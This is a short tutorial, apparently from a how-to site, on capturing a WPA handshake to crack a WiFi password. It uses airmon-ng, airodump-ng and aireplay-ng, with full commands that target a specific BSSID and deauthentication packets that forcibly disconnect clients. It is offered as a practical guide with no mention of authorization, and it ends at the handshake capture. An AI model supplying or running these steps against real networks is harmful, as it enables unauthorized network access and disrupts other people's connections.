Situatie
“Hacking Wifi” sounds really cool and interesting. But actually hacking wifi practically is much easier with a good wordlist. But this world list is of no use until we don’t have any idea of how to actually use that word list in order to crack a hash. And before cracking the hash we actually need to generate it.
Solutie
Pasi de urmat
ifconfig (interface configuration): To view or change the configuration of the network interfaces on your system.
Here,
- eth0 : First Ethernet interface
- l0 : Loopback interface
- wlan0 : First wireless network interface on the system. (This is what we need)
Stop the current processes which are using the WiFi interface.
airmon-ng check kill
To start the wlan0 in monitor mode.
airmon-ng start wlan0
To view all the Wifi networks around you.
airodump-ng wlan0mon
- airodump-ng : For packet capturing
- wlan0mon : Name of the interface (This name can be different on the different devices)
To view the clients connected to the target network.
airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon
Here,
- airodump-ng : For packet capturing
- -c : Channel
- –bssid : MAC address of a wireless access point(WAP).
- -w : The Directory where you want to save the file(Password File).
- wlan0mon : Name of the interface.
Open a new terminal window to disconnect the clients connected to the target network.
aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon
- aireplay-ng : To inject frames
- -0 : For deauthentication
- 10 : No. of deauthentication packets to be sent
- -a : For the bssid of the target network
- wlan0mon : Name of the interface.
When the client is disconnected from the target network. He tries to reconnect to the network and when he does you will get something called WPA handshake in the previous window of the terminal.
Leave A Comment?